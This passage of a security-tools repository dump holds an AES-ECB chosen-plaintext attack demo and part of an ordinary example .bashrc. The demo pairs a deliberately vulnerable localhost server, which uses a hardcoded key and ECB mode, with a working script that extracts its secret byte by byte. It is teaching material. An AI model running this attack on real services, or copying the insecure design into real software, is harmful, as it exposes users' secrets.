feeling 64 | Gotta make you understand 65 | Never gonna give you up 66 | Never gonna let you down 67 | Never gonna run around and 68 | desert you 69 | Never gonna make you cry 70 | Never gonna say goodbye 71 | Never gonna tell a lie and 72 | hurt you 73 | Never gonna give you up 74 | Never gonna let you down 75 | Never gonna run around and 76 | desert you 77 | Never gonna make you cry 78 | Never gonna say goodbye 79 | Never gonna tell a lie and 80 | hurt you 81 | Never gonna give you up 82 | Never gonna let you down 83 | Never gonna run around and 84 | desert you 85 | Never gonna make you cry 86 | Never gonna say goodbye 87 | Never gonna tell a lie and 88 | hurt you 89 | -------------------------------------------------------------------------------- /ECBPlaintextAttack/README.md: -------------------------------------------------------------------------------- 1 | # ECB Plaintext Attack 2 | A sample AES-ECB server and client for demonstrating a chosen plaintext attack. 3 | 4 | For more information, see the following blog post - https://www.doyler.net/security-not-included/ecb-chosen-plaintext-attack -------------------------------------------------------------------------------- /ECBPlaintextAttack/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/doyler/SecurityTools/7f485efde5e5380c96667bbccb0a29a52c5bd311/ECBPlaintextAttack/__init__.py -------------------------------------------------------------------------------- /ECBPlaintextAttack/ecbAttack.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import math 4 | import socket 5 | import sys 6 | 7 | def chunkstring(string, length): 8 | return (string[0+i:length+i] for i in range(0, len(string), length)) 9 | 10 | def roundup(x, base=10): 11 | return int(math.ceil(x / (base + 0.0))) * base 12 | 13 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 14 | 15 | server_address = ('localhost', 10000) 16 | s.connect(server_address) 17 | 18 | try: 19 | found = False 20 | secret = "" 21 | 22 | secretLen = 0 23 | #prependChars = "ENCRYPT:" 24 | prependChars = "" 25 | 26 | message = "A" 27 | s.sendall(message) 28 | data = s.recv(2048) 29 | output = list(chunkstring(data, 32)) 30 | initialLen = len(output) 31 | 32 | curLen = 0 33 | 34 | while (curLen <= initialLen): 35 | message += "A" 36 | s.sendall(message) 37 | data = s.recv(2048) 38 | output = list(chunkstring(data, 32)) 39 | curLen = len(output) 40 | 41 | extra = len(message) - 1 42 | 43 | secretLen = ((curLen - 1) * 16) - extra - len(prependChars) 44 | 45 | print("SECRETLEN: " + str(secretLen)) 46 | 47 | while not found: 48 | initialBlock = "A" * (16 - len(prependChars)) 49 | fullLen = roundup(secretLen, 16) 50 | prepend = "B" * (fullLen - len(secret) - 1) 51 | message1 = initialBlock + prepend 52 | 53 | s.sendall(message1) 54 | data = s.recv(8192) 55 | initialReturn = list(chunkstring(data, 32)) 56 | #print("INITIAL: " + str(initialReturn)) 57 | 58 | for i in range(33, 127): 59 | message2 = message1 + secret + chr(i) 60 | s.sendall(message2) 61 | data = s.recv(8192) 62 | oracle = list(chunkstring(data, 32)) 63 | #print("ORACLE: " + str(oracle)) 64 | compareBlock = (len(prependChars + message2) / 16) - 1 65 | #print("COMPARE = " + str(compareBlock)) 66 | if oracle[compareBlock] == initialReturn[compareBlock]: 67 | secret += chr(i) 68 | #print("LENGTH: " + str(len(secret))) 69 | #print("SECRET: " + secret) 70 | #print("INITIAL: " + str(initialReturn)) 71 | #print("ORACLE: " + str(oracle)) 72 | if len(secret) == secretLen: 73 | found = True 74 | print(secret) 75 | break 76 | 77 | finally: 78 | s.close() 79 | -------------------------------------------------------------------------------- /ECBPlaintextAttack/ecbServer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | from Crypto.Cipher import AES 4 | import socket 5 | import sys 6 | import random 7 | import string 8 | 9 | blockSize = 16 10 | encKey = "ENCRYPTIONKEY123" 11 | secret = "mys3cretP@ssword!" 12 | prepend = "" 13 | #prepend = "ENCRYPT:" 14 | chars = string.ascii_letters + string.digits + string.punctuation 15 | secret = ''.join(random.choice(chars) for _ in range(random.randint(1,1000))) 16 | 17 | def pad(input): 18 | if (len(input) % blockSize == 0): 19 | return input 20 | else: 21 | extra = blockSize - (len(input) % blockSize) 22 | output = input + "\x00" * extra 23 | return output 24 | 25 | def unpad(input): 26 | return input.rstrip("\x00") 27 | 28 | def encrypt(input): 29 | if (input is None) or (len(input) == 0): 30 | print("Input text cannot be null or empty") 31 | 32 | toEncrypt = prepend + input + secret 33 | toEncrypt = pad(toEncrypt) 34 | cipher = AES.AESCipher(encKey, AES.MODE_ECB) 35 | cipherText = cipher.encrypt(toEncrypt) 36 | return cipherText.encode("hex") 37 | 38 | def decrypt(input): 39 | if (input is None) or (len(input) == 0): 40 | print("Input text cannot be null or empty") 41 | 42 | encrypted = input.decode("hex") 43 | cipher = AES.AESCipher(encKey, AES.MODE_ECB) 44 | plainText = unpad(cipher.decrypt(encrypted)) 45 | return plainText 46 | 47 | def main(): 48 | print("SECRET LENGTH: " + str(len(secret))) 49 | print("SECRET = " + secret) 50 | 51 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 52 | s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 53 | 54 | server_address = ('localhost', 10000) 55 | print("\nStarting up on %s port %s" % server_address) 56 | s.bind(server_address) 57 | 58 | s.listen(1) 59 | 60 | while True: 61 | connection, client_address = s.accept() 62 | 63 | try: 64 | while True: 65 | data = connection.recv(2048) 66 | if data: 67 | #print("DATA: " + data) 68 | input = data.rstrip() 69 | print("INPUT: " + input) 70 | print("HEX: " + input.encode("hex")) 71 | encrypted = encrypt(input) 72 | print("ENCRYPTED: " + encrypted) 73 | connection.send(encrypted) 74 | else: 75 | break 76 | finally: 77 | connection.close() 78 | 79 | if __name__ == "__main__": 80 | main() 81 | -------------------------------------------------------------------------------- /FileIntegrity/.bashrc: -------------------------------------------------------------------------------- 1 | # =============================================================== # 2 | # 3 | # PERSONAL $HOME/.bashrc FILE for bash-3.0 (or later) 4 | # By Emmanuel Rouat [no-email] 5 | # 6 | # Last modified: Tue Nov 20 22:04:47 CET 2012 7 | 8 | # This file is normally read by interactive shells only. 9 | #+ Here is the place to define your aliases, functions and 10 | #+ other interactive features like your prompt. 11 | # 12 | # The majority of the code here assumes you are on a GNU 13 | #+ system (most likely a Linux box) and is often based on code 14 | #+ found on Usenet or Internet. 15 | # 16 | # See for instance: 17 | # http://tldp.org/LDP/abs/html/index.html 18 | # http://www.caliban.org/bash 19 | # http://www.shelldorado.com/scripts/categories.html 20 | # http://www.dotfiles.org 21 | # 22 | # The choice of colors was done for a shell with a dark background 23 | #+ (white on black), and this is usually also suited for pure text-mode 24 | #+ consoles (no X server available). If you use a white background, 25 | #+ you'll have to do some other choices for readability. 26 | # 27 | # This bashrc file is a bit overcrowded. 28 | # Remember, it is just just an example. 29 | # Tailor it to your needs. 30 | # 31 | # =============================================================== # 32 | 33 | # --> Comments added by HOWTO author. 34 | 35 | # If not running interactively, don't do anything 36 | [ -z "$PS1" ] && return 37 | 38 | 39 | #------------------------------------------------------------- 40 | # Source global definitions (if any) 41 | #------------------------------------------------------------- 42 | 43 | 44 | if [ -f /etc/bashrc ]; then 45 | . /etc/bashrc # --> Read /etc/bashrc, if present. 46 | fi 47 | 48 | 49 | #-------------------------------------------------------------- 50 | # Automatic setting of $DISPLAY (if not set already). 51 | # This works for me - your mileage may vary. . . . 52 | # The problem is that different types of terminals give 53 | #+ different answers to 'who am i' (rxvt in particular can be 54 | #+ troublesome) - however this code seems to work in a majority 55 | #+ of cases. 56 | #-------------------------------------------------------------- 57 | 58 | function get_xserver () 59 | { 60 | case $TERM in 61 | xterm ) 62 | XSERVER=$(who am i | awk '{print $NF}' | tr -d ')''(' ) 63 | # Ane-Pieter Wieringa suggests the following alternative: 64 | # I_AM=$(who am i) 65 | # SERVER=${I_AM#*(} 66 | # SERVER=${SERVER%*)} 67 | XSERVER=${XSERVER%%:*} 68 | ;; 69 | aterm | rxvt) 70 | # Find some code that works here. ... 71 | ;; 72 | esac 73 | } 74 | 75 | if [ -z ${DISPLAY:=""} ]; then 76 | get_xserver 77 | if [[ -z ${XSERVER} || ${XSERVER} == $(hostname) || 78 | ${XSERVER} == "unix" ]]; then 79 | DISPLAY=":0.0" # Display on local host. 80 | else 81 | DISPLAY=${XSERVER}:0.0 # Display on remote host. 82 | fi 83 | fi 84 | 85 | export DISPLAY 86 | 87 | #------------------------------------------------------------- 88 | # Some settings 89 | #------------------------------------------------------------- 90 | 91 | #set -o nounset # These two options are useful for debugging. 92 | #set -o xtrace 93 | alias debug="set -o nounset; set -o xtrace" 94 | 95 | ulimit -S -c 0 # Don't want coredumps. 96 | set -o notify 97 | set -o noclobber 98 | set -o ignoreeof 99 | 100 | 101 | # Enable options: 102 | shopt -s cdspell 103 | shopt -s cdable_vars 104 | shopt -s checkhash 105 | shopt -s checkwinsize 106 | shopt -s sourcepath 107 | shopt -s no_empty_cmd_completion 108 | shopt -s cmdhist 109 | shopt -s histappend histreedit histverify 110 | shopt -s extglob # Necessary for programmable completion. 111 | 112 | # Disable options: 113 | shopt -u mailwarn 114 | unset MAILCHECK # Don't want my shell to warn me of incoming mail. 115 | 116 | 117 | #------------------------------------------------------------- 118 | # Greeting, motd etc. ... 119 | #------------------------------------------------------------- 120 | 121 | # Color definitions (taken from Color Bash Prompt HowTo). 122 | # Some colors might look different of some terminals. 123 | # For example, I see 'Bold Red' as 'orange' on my screen, 124 | # hence the 'Green' 'BRed' 'Red' sequence I often use in my prompt. 125 | 126 | 127 | # Normal Colors 128 | Black='\e[0;30m' # Black 129 | Red='\e[0;31m' # Red 130 | Green='\e[0;32m' # Green 131 | Yellow='\e[0;33m' # Yellow 132 | Blue='\e[0;34m' # Blue 133 | Purple='\e[0;35m' # Purple 134 | Cyan='\e[0;36m' # Cyan 135 | White='\e[0;37m' # White 136 | 137 | # Bold 138 | BBlack='\e[1;30m' # Black 139 | BRed='\e[1;31m' # Red 140 | BGreen='\e[1;32m' # Green 141 | BYellow='\e[1;33m' # Yellow 142 | BBlue='\e[1;34m' # Blue 143 | BPurple='\e[1;35m' # Purple 144 | BCyan='\e[1;36m' # Cyan 145 | BWhite='\e[1;37m' # White 146 | 147 | # Background 148 | On_Black='\e[40m' # Black 149 | On_Red='\e[41m' # Red 150 | On_Green='\e[42m' # Green 151 | On_Yellow='\e[43m' # Yellow 152 | On_Blue='\e[44m' # Blue 153 | On_Purple='\e[45m' # Purple 154 | On_Cyan='\e[46m' # Cyan 155 | On_White='\e[47m' # White 156 | 157 | NC="\e[m" # Color Reset 158 | 159 | 160 | ALERT=${BWhite}${On_Red} # Bold White on red background 161 | 162 | 163 | 164 | echo -e "${BCyan}This is BASH ${BRed}${BASH_VERSION%.*}${BCyan}\ 165 | - DISPLAY on ${BRed}$DISPLAY${NC}\n" 166 | date 167 | if [ -x /usr/games/fortune ]; then 168 | /usr/games/fortune -s # Makes our day a bit more fun.... :-) 169 | fi 170 | 171 | function _exit() # Function to run upon exit of shell. 172 | { 173 | echo -e "${BRed}Hasta la vista, baby${NC}" 174 | } 175 | trap _exit EXIT 176 | 177 | #------------------------------------------------------------- 178 | # Shell Prompt - for many examples, see: 179 | # http://www.debian-administration.org/articles/205 180 | # http://www.askapache.com/linux/bash-power-prompt.html 181 | # http://tldp.org/HOWTO/Bash-Prompt-HOWTO 182 | # https://github.com/nojhan/liquidprompt 183 | #------------------------------------------------------------- 184 | # Current Format: [TIME USER@HOST PWD] > 185 | # TIME: 186 | # Green == machine load is low 187 | # Orange == machine load is medium 188 | # Red == machine load is high 189 | # ALERT == machine load is very high 190 | # USER: 191 | # Cyan == normal user 192 | # Orange == SU to user 193 | # Red == root 194 | # HOST: 195 | # Cyan == local session 196 | # Green == secured remote connection (via ssh) 197 | # Red == unsecured remote connection 198 | # PWD: 199 | # Green == more than 10% free disk space 200 | # Orange == less than 10% free disk space 201 | # ALERT == less than 5% free disk space 202 | # Red == current user does not have write privileges 203 | # Cyan == current filesystem is size zero (like /proc) 204 | # >: 205 | # White == no background or suspended jobs in this shell 206 | # Cyan == at least one background job in this shell 207 | # Orange == at least one suspended job in this shell 208 | # 209 | # Command is added to the history file each time you hit enter, 210 | # so it's available to all shells (using 'history -a'). 211 | 212 | 213 | # Test connection type: 214 | if [ -n "${SSH_CONNECTION}" ]; then 215 | CNX=${Green} # Connected on remote machine, via ssh (good). 216 | elif [[ "${DISPLAY%%:0*}" != "" ]]; then 217 | CNX=${ALERT} # Connected on remote machine, not via ssh (bad). 218 | else 219 | CNX=${BCyan} # Connected on local machine. 220 | fi 221 | 222 | # Test user type: 223 | if [[ ${USER} == "root" ]]; then 224 | SU=${Red} # User is root. 225 | elif [[ ${USER} != $(logname) ]]; then 226 | SU=${BRed} # User is not login user. 227 | else 228 | SU=${BCyan} # User is normal (well ... most of us are). 229 | fi 230 | 231 | 232 | 233 | NCPU=$(grep -c 'processor' /proc/cpuinfo) # Number of CPUs 234 | SLOAD=$(( 100*${NCPU} )) # Small load 235 | MLOAD=$(( 200*${NCPU} )) # Medium load 236 | XLOAD=$(( 400*${NCPU} )) # Xlarge load 237 | 238 | # Returns system load as percentage, i.e., '40' rather than '0.40)'. 239 | function load() 240 | { 241 | local SYSLOAD=$(cut -d " " -f1 /proc/loadavg | tr -d '.') 242 | # System load of the current host. 243 | echo $((10#$SYSLOAD)) # Convert to decimal. 244 | } 245 | 246 | # Returns a color indicating system load. 247 | function load_color() 248 | { 249 | local SYSLOAD=$(load) 250 | if [ ${SYSLOAD} -gt ${XLOAD} ]; then 251 | echo -en ${ALERT} 252 | elif [ ${SYSLOAD} -gt ${MLOAD} ]; then 253 | echo -en ${Red} 254 | elif [ ${SYSLOAD} -gt ${SLOAD} ]; then 255 | echo -en ${BRed} 256 | else 257 | echo -en ${Green} 258 | fi 259 | } 260 | 261 | # Returns a color according to free disk space in $PWD. 262 | function disk_color() 263 | { 264 | if [ ! -w "${PWD}" ] ; then 265 | echo -en ${Red} 266 | # No 'write' privilege in the current directory. 267 | elif [ -s "${PWD}" ] ; then 268 | local used=$(command df -P "$PWD" | 269 | awk 'END {print $5} {sub(/%/,"")}') 270 | if [ ${used} -gt 95 ]; then 271 | echo -en ${ALERT} # Disk almost full (>95%). 272 | elif [ ${used} -gt 90 ]; then 273 | echo -en ${BRed} # Free disk space almost gone. 274 | else 275 | echo -en ${Green} # Free disk space is ok. 276 | fi 277 | else 278 | echo -en ${Cyan} 279 | # Current directory is size '0' (like /proc, /sys etc). 280 | fi 281 | } 282 | 283 | # Returns a color according to running/suspended jobs. 284 | function job_color() 285 | { 286 | if [ $(jobs -s | wc -l) -gt "0" ]; then 287 | echo -en ${BRed} 288 | elif [ $(jobs -r | wc -l) -gt "0" ] ; then 289 | echo -en ${BCyan} 290 | fi 291 | } 292 | 293 | # Adds some text in the terminal frame (if applicable). 294 | 295 | 296 | # Now we construct the prompt. 297 | PROMPT_COMMAND="history -a" 298 | case ${TERM} in 299 | *term | rxvt | linux) 300 | PS1="\[\$(load_color)\][\A\[${NC}\] " 301 | # Time of day (with load info): 302 | PS1="\[\$(load_color)\][\A\[${NC}\] " 303 | # User@Host (with connection type info): 304 | PS1=${PS1}"\[${SU}\]\u\[${NC}\]@\[${CNX}\]\h\[${NC}\] " 305 | # PWD (with 'disk space' info): 306 | PS1=${PS1}"\[\$(disk_color)\]\W]\[${NC}\] " 307 | # Prompt (with 'job' info): 308 | PS1=${PS1}"\[\$(job_color)\]>\[${NC}\] " 309 | # Set title of current xterm: 310 | PS1=${PS1}"\[\e]0;[\u@\h] \w\a\]" 311 | ;; 312 | *) 313 | PS1="(\A \u@\h \W) > " # --> PS1="(\A \u@\h \w) > " 314 | # --> Shows full pathname of current dir. 315 | ;; 316 | esac 317 | 318 | 319 | 320 | export TIMEFORMAT=$'\nreal %3R\tuser %3U\tsys %3S\tpcpu %P\n' 321 | export HISTIGNORE="&:bg:fg:ll:h" 322 | export HISTTIMEFORMAT="$(echo -e ${BCyan})[%d/%m %H:%M:%S]$(echo -e ${NC}) " 323 | export HISTCONTROL=ignoredups 324 | export HOSTFILE=$HOME/.hosts # Put a list of remote hosts in ~/.hosts 325 | 326 | 327 | #============================================================ 328 | # 329 | # ALIASES AND FUNCTIONS 330 | # 331 | # Arguably, some functions defined here are quite big. 332 | # If you want to make this file smaller, these functions can 333 | #+ be converted into scripts and removed from here. 334 | # 335 | #============================================================ 336 | 337 | #------------------- 338 | # Personnal Aliases 339 | #------------------- 340 | 341 | alias rm='rm -i' 342 | alias cp='cp -i' 343 | alias mv='mv -i' 344 | # -> Prevents accidentally clobbering files. 345 | alias mkdir='mkdir -p' 346 | 347 | alias h='history' 348 | alias j='jobs -l' 349 | alias which='type -a' 350 | alias ..='cd ..' 351 | 352 | # Pretty-print of some PATH variables: 353 | alias path='echo -e ${PATH//:/\\n}' 354 | alias libpath='echo -e ${LD_LIBRARY_PATH//:/\\n}' 355 | 356 | 357 | alias du='du -kh' # Makes a more readable output. 358 | alias df='df -kTh' 359 | 360 | #------------------------------------------------------------- 361 | # The 'ls' family (this assumes you use a recent GNU ls). 362 | #------------------------------------------------------------- 363 | # Add colors for filetype and human-readable sizes by default on 'ls': 364 | alias ls='ls -h --color' 365 | alias lx='ls -lXB' # Sort by extension. 366 | alias lk='ls -lSr' # Sort by size, biggest last. 367 | alias lt='ls -ltr' # Sort by date, most recent last. 368 | alias lc='ls -ltcr' # Sort by/show change time,most recent last. 369 | alias lu='ls -ltur' # Sort by/show access time,most recent last. 370 | 371 | # The ubiquitous 'll': directories first, with alphanumeric sorting: 372 | alias ll="ls -lv --group-directories-first" 373 | alias lm='ll |more' # Pipe through 'more' 374 | alias lr='ll -R' # Recursive ls. 375 | alias la='ll -A' # Show hidden files. 376 | alias tree='tree -Csuh' # Nice alternative to 'recursive ls' ... 377 | 378 | 379 | #------------------------------------------------------------- 380 | # Tailoring 'less' 381 | #------------------------------------------------------------- 382 | 383 | alias more='less' 384 | export PAGER=less 385 | export LESSCHARSET='latin1' 386 | export LESSOPEN='|/usr/bin/lesspipe.sh %s 2>&-' 387 | # Use this if lesspipe.sh exists. 388 | export LESS='-i -N -w -z-4 -g -e -M -X -F -R -P%t?f%f \ 389 | :stdin .?pb%pb\%:?lbLine %lb:?bbByte %bb:-...' 390 | 391 | # LESS man page colors (makes Man pages more readable). 392 | export LESS_TERMCAP_mb=$'\E[01;31m' 393 | export LESS_TERMCAP_md=$'\E[01;31m' 394 | export LESS_TERMCAP_me=$'\E[0m' 395 | export LESS_TERMCAP_se=$'\E[0m' 396 | export LESS_TERMCAP_so=$'\E[01;44;33m' 397 | export LESS_TERMCAP_ue=$'\E[0m' 398 | export LESS_TERMCAP_us=$'\E[01;32m' 399 | 400 | 401 | #------------------------------------------------------------- 402 | # Spelling typos - highly personnal and keyboard-dependent :-) 403 | #------------------------------------------------------------- 404 | 405 | alias xs='cd' 406 | alias vf='cd' 407 | alias moer='more' 408 | alias moew='more' 409 | alias kk='ll' 410 | 411 | 412 | #------------------------------------------------------------- 413 | # A few fun ones 414 | #------------------------------------------------------------- 415 | 416 | # Adds some text in the terminal frame (if applicable). 417 | 418 | function xtitle() 419 | { 420 | case "$TERM" in 421 | *term* | rxvt) 422 | echo -en "\e]0;$*\a" ;; 423 | *) ;; 424 | esac 425 | } 426 | 427 | 428 | # Aliases that use xtitle 429 | alias top='xtitle Processes on $HOST && top' 430 | alias make='xtitle Making $(basename $PWD) ; make' 431 | 432 | # .. and functions 433 | function man() 434 | { 435 | for i ; do 436 | xtitle The $(basename $1|tr -d .[:digit:]) manual 437 | command man -a "$i" 438 | done 439 | } 440 | 441 | 442 | #------------------------------------------------------------- 443 | # Make the following commands run in background automatically: 444 | #------------------------------------------------------------- 445 | 446 | function te() # wrapper around xemacs/gnuserv 447 | { 448 | if [ "$(gnuclient -batch -eval t 2>&-)" == "t" ]; then 449 | gnuclient -q "$@"; 450 | else 451 | ( xemacs "$@" &); 452 | fi 453 | } 454 | 455 | function soffice() { command soffice "$@" & } 456 | function firefox() { command firefox "$@" & } 457 | function xpdf() { command xpdf "$@" & } 458 | 459 | 460 | #------------------------------------------------------------- 461 | # File & strings related functions: 462 | #------------------------------------------------------------- 463 | 464 | 465 | # Find a file with a pattern in name: 466 | function ff() { find . -type f -iname '*'"$*"'*' -ls ; } 467 | 468 | # Find a file with pattern $1 in name and Execute $2 on it: 469 | function fe() { find . -type f -iname '*'"${1:-}"'*' \ 470 | -exec ${2:-file} {} \; ; } 471 | 472 | # Find a pattern in a set of files and highlight them: 473 | #+ (needs a recent version of egrep). 474 | function fstr() 475 | { 476 | OPTIND=1 477 | local mycase="" 478 | local usage="fstr: find string in files. 479 | Usage: fstr [-i] \"pattern\" [\"filename pattern\"] " 480 | while getopts :it opt 481 | do 482 | case "$opt" in 483 | i) mycase="-i " ;; 484 | *) echo "$usage"; return ;; 485 | esac 486 | done 487 | shift $(( $OPTIND - 1 )) 488 | if [ "$#" -lt 1 ]; then 489 | echo "$usage" 490 | return; 491 | fi 492 | find . -type f -name "${2:-*}" -print0 | \ 493 | xargs -0 egrep --color=always -sn ${case} "$1" 2>&- | more 494 | 495 | } 496 | 497 | 498 | function swap() 499 | { # Swap 2 filenames around, if they exist (from Uzi's bashrc). 500 | local TMPFILE=tmp.$$ 501 | 502 | [ $# -ne 2 ] && echo "swap: 2 arguments needed" && return 1 503 | [ ! -e $1 ] && echo "swap: $1 does not exist" && return 1 504 | [ ! -e $2 ] && echo "swap: $2 does not exist" && return 1 505 | 506 | mv "$1" $TMPFILE 507 | mv "$2" "$1" 508 | mv $TMPFILE "$2" 509 | } 510 | 511 | function extract() # Handy Extract Program 512 | { 513 | if [ -f $1 ] ; then 514 | case $1 in 515 | *.tar.bz2) tar xvjf $1 ;; 516 | *.tar.gz) tar xvzf $1 ;; 517 | *.bz2) bunzip2 $1 ;; 518 | *.rar) unrar x $1 ;; 519 | *.gz) gunzip $1 ;; 520 | *.tar) tar xvf $1 ;; 521 | *.tbz2) tar xvjf $1 ;; 522 | *.tgz) tar xvzf $1 ;; 523 | *.zip) unzip $1 ;; 524 | *.Z) uncompress $1 ;; 525 | *.7z) 7z x $1 ;; 526 | *) echo "'$1' cannot be extracted via >extract<" ;; 527 | esac 528 | else 529 | echo "'$1' is not a valid file!" 530 | fi 531 | } 532 | 533 | 534 | # Creates an archive (*.tar.gz) from given directory. 535 | function maketar() { tar cvzf "${1%%/}.tar.gz" "${1%%/}/"; } 536 | 537 | # Create a ZIP archive of a file or folder. 538 | function makezip() { zip -r "${1%%/}.zip" "$1" ; } 539 | 540 | # Make your directories and files access rights sane. 541 | function sanitize() { chmod -R u=rwX,g=rX,o= "$@" ;} 542 | 543 | #------------------------------------------------------------- 544 | # Process/system related functions: 545 | #------------------------------------------------------------- 546 | 547 | 548 | function my_ps() { ps $@ -u $USER -o pid,%cpu,%mem,bsdtime,command ; } 549 | function pp() { my_ps f | awk '!/awk/ && $0~var' var=${1:-".*"} ; } 550 | 551 | 552 | function killps() # kill by process name 553 | { 554 | local pid pname sig="-TERM" # default signal 555 | if [ "$#" -lt 1 ] || [ "$#" -gt 2 ]; then 556 | echo "Usage: killps [-SIGNAL] pattern" 557 | return; 558 | fi 559 | if [ $# = 2 ]; then sig=$1 ; fi 560 | for pid in $(my_ps| awk '!/awk/ && $0~pat { print $1 }' pat=${!#} ) 561 | do 562 | pname=$(my_ps | awk '$1~var { print $5 }' var=$pid ) 563 | if ask "Kill process $pid <$pname> with signal $sig?" 564 | then kill $sig $pid 565 | fi 566 | done 567 | } 568 | 569 | function mydf() # Pretty-print of 'df' output. 570 | { # Inspired by 'dfc' utility. 571 | for fs ; do 572 | 573 | if [ ! -d $fs ] 574 | then 575 | echo -e $fs" :No such file or directory" ; continue 576 | fi 577 | 578 | local info=( $(command df -P $fs | awk 'END{ print $2,$3,$5 }') ) 579 | local free=( $(command df -Pkh $fs | awk 'END{ print $4 }') ) 580 | local nbstars=$(( 20 * ${info[1]} / ${info[0]} )) 581 | local out="[" 582 | for ((j=0;j<20;j++)); do 583 | if [ ${j} -lt ${nbstars} ]; then 584 | out=$out"*" 585 | else 586 | out=$out"-" 587 | fi 588 | done 589 | out=${info[2]}" "$out"] ("$free" free on "$fs")" 590 | echo -e $out 591 | done 592 | } 593 | 594 | 595 | function my_ip() # Get IP adress on ethernet. 596 | { 597 | MY_IP=$(/sbin/ifconfig eth0 | awk '/inet/ { print $2 } ' | 598 | sed -e s/addr://) 599 | echo ${MY_IP:-"Not connected"} 600 | } 601 | 602 | function ii() # Get current host related info. 603 | { 604 | echo -e "\nYou are logged on ${BRed}$HOST" 605 | echo -e "\n${BRed}Additionnal information:$NC " ; uname -a 606 | echo -e "\n${BRed}Users logged on:$NC " ; w -hs | 607 | cut -d " " -f1 | sort | uniq 608 | echo -e "\n${BRed}Current date :$NC " ; date 609 | echo -e "\n${BRed}Machine stats :$NC " ; uptime 610 | echo -e "\n${BRed}Memory stats :$NC " ; free 611 | echo -e "\n${BRed}Diskspace :$NC " ; mydf / $HOME 612 | echo -e "\n${BRed}Local IP Address :$NC" ; my_ip 613 | echo -e "\n${BRed}Open connections :$NC "; netstat -pan --inet; 614 | echo 615 | } 616 | 617 | #------------------------------------------------------------- 618 | # Misc utilities: 619 | #------------------------------------------------------------- 620 | 621 | function repeat() # Repeat n times command. 622 | { 623 | local i max 624 | max=$1; shift; 625 | for ((i=1; i <= max ; i++)); do # --> C-like syntax 626 | eval "$@"; 627 | done 628 | } 629 | 630 | 631 | function ask() # See 'killps' for example of use. 632 | { 633 | echo -n "$@" '[y/n] ' ; read ans 634 | case "$ans" in 635 | y*|Y*) return 0 ;; 636 | *) return 1 ;; 637 | esac 638 | } 639 | 640 | function corename() # Get name of app that created a corefile. 641 | { 642 | for file ; do 643 | echo -n $file : ; gdb --core=$file --batch | head -1 644 | done 645 | } 646 | 647 | 648 | 649 | #========================================================================= 650 | # 651 | # PROGRAMMABLE COMPLETION SECTION 652 | # Most are taken from the bash 2.05 documentation and from Ian McDonald's 653 | # 'Bash completion' package (http://www.caliban.org/bash/#completion) 654 | # You will in fact need bash more recent then 3.0 for some features. 655 | # 656 | # Note that most linux distributions now provide many completions 657 | # 'out of the box' - however, you might need to make your own one day, 658 | # so I kept those here as examples. 659 | #========================================================================= 660 | 661 | if [ "${BASH_VERSION%.*}" \< "3.0" ]; then 662 | echo "You will need to upgrade to version 3.0 for full \ 663 | programmable completion features" 664 | return 665 | fi 666 | 667 | shopt -s extglob # Necessary. 668 | 669 | complete -A hostname rsh rcp telnet rlogin ftp ping disk 670 | complete -A export printenv 671 | complete -A variable export local readonly unset 672 | complete -A enabled builtin 673 | complete -A alias alias unalias 674 | complete -A function function 675 | complete -A user su mail finger 676 | 677 | complete -A helptopic help # Currently same as builtins. 678 | complete -A shopt shopt 679 | complete -A stopped -P '%' bg 680 | complete -A job -P '%' fg jobs disown 681 | 682 | complete -A directory mkdir rmdir 683 | complete -A directory -o default cd 684 | 685 | # Compression 686 | complete -f -o default -X '*.+(zip|ZIP)' zip 687 | complete -f -o default -X '!*.+(zip|ZIP)' unzip 688 | complete -f -o default -X '*.+(z|Z)' compress 689 | complete -f -o default -X '!*.+(z|Z)' uncompress 690 | complete -f -o default -X '*.+(gz|GZ)' gzip 691 | complete -f -o default -X '!*.+(gz|GZ)' gunzip 692 | complete -f -o default -X '*.+(bz2|BZ2)' bzip2 693 | complete -f -o default -X '!*.+(bz2|BZ2)' bunzip2 694 | complete -f -o default -X '!*.+(zip|ZIP|z|Z|gz|GZ|bz2|BZ2)' extract 695 | 696 | 697 | # Documents - Postscript,pdf,dvi..... 698 | complete -f -o default -X '!*.+(ps|PS)' gs ghostview ps2pdf ps2ascii 699 | complete -f -o default -X \ 700 | '!*.+(dvi|DVI)' dvips dvipdf xdvi dviselect dvitype 701 | complete -f -o default -X '!*.+(pdf|PDF)' acroread pdf2ps 702 | complete -f -o default -X '!*.@(@(?(e)ps|?(E)PS|pdf|PDF)?\ 703 | (.gz|.GZ|.bz2|.BZ2|.Z))' gv ggv 704 | complete -f -o default -X '!*.texi*' makeinfo texi2dvi texi2html texi2pdf 705 | complete -f -o default -X '!*.tex' tex latex slitex 706 | complete -f -o default -X '!*.lyx' lyx 707 | complete -f -o default -X '!*.+(htm*|HTM*)' lynx html2ps 708 | complete -f -o default -X \ 709 | '!*.+(doc|DOC|xls|XLS|ppt|PPT|sx?|SX?|csv|CSV|od?|OD?|ott|OTT)' soffice 710 | 711 | # Multimedia 712 | complete -f -o default -X \ 713 | '!*.+(gif|GIF|jp*g|JP*G|bmp|BMP|xpm|XPM|png|PNG)' xv gimp ee gqview 714 | complete -f -o default -X '!*.+(mp3|MP3)' mpg123 mpg321 715 | complete -f -o default -X '!*.+(ogg|OGG)' ogg123 716 | complete -f -o default -X \ 717 | '!*.@(mp[23]|MP[23]|ogg|OGG|wav|WAV|pls|\ 718 | m3u|xm|mod|s[3t]m|it|mtm|ult|flac)' xmms 719 | complete -f -o default -X '!*.@(mp?(e)g|MP?(E)G|wma|avi|AVI|\ 720 | asf|vob|VOB|bin|dat|vcd|ps|pes|fli|viv|rm|ram|yuv|mov|MOV|qt|\ 721 | QT|wmv|mp3|MP3|ogg|OGG|ogm|OGM|mp4|MP4|wav|WAV|asx|ASX)' xine 722 | 723 | 724 | 725 | complete -f -o default -X '!*.pl' perl perl5 726 | 727 | 728 | # This is a 'universal' completion function - it works when commands have 729 | #+ a so-called 'long options' mode , ie: 'ls --all' instead of 'ls -a' 730 | # Needs the '-o' option of grep 731 | #+ (try the commented-out version if not available). 732 | 733 | # First, remove '=' from completion word separators 734 | #+ (this will allow completions like 'ls --color=auto' to work correctly). 735 | 736 | COMP_WORDBREAKS=${COMP_WORDBREAKS/=/} 737 | 738 | 739 | _get_longopts() 740 | { 741 | #$1 --help | sed -e '/--/!d' -e 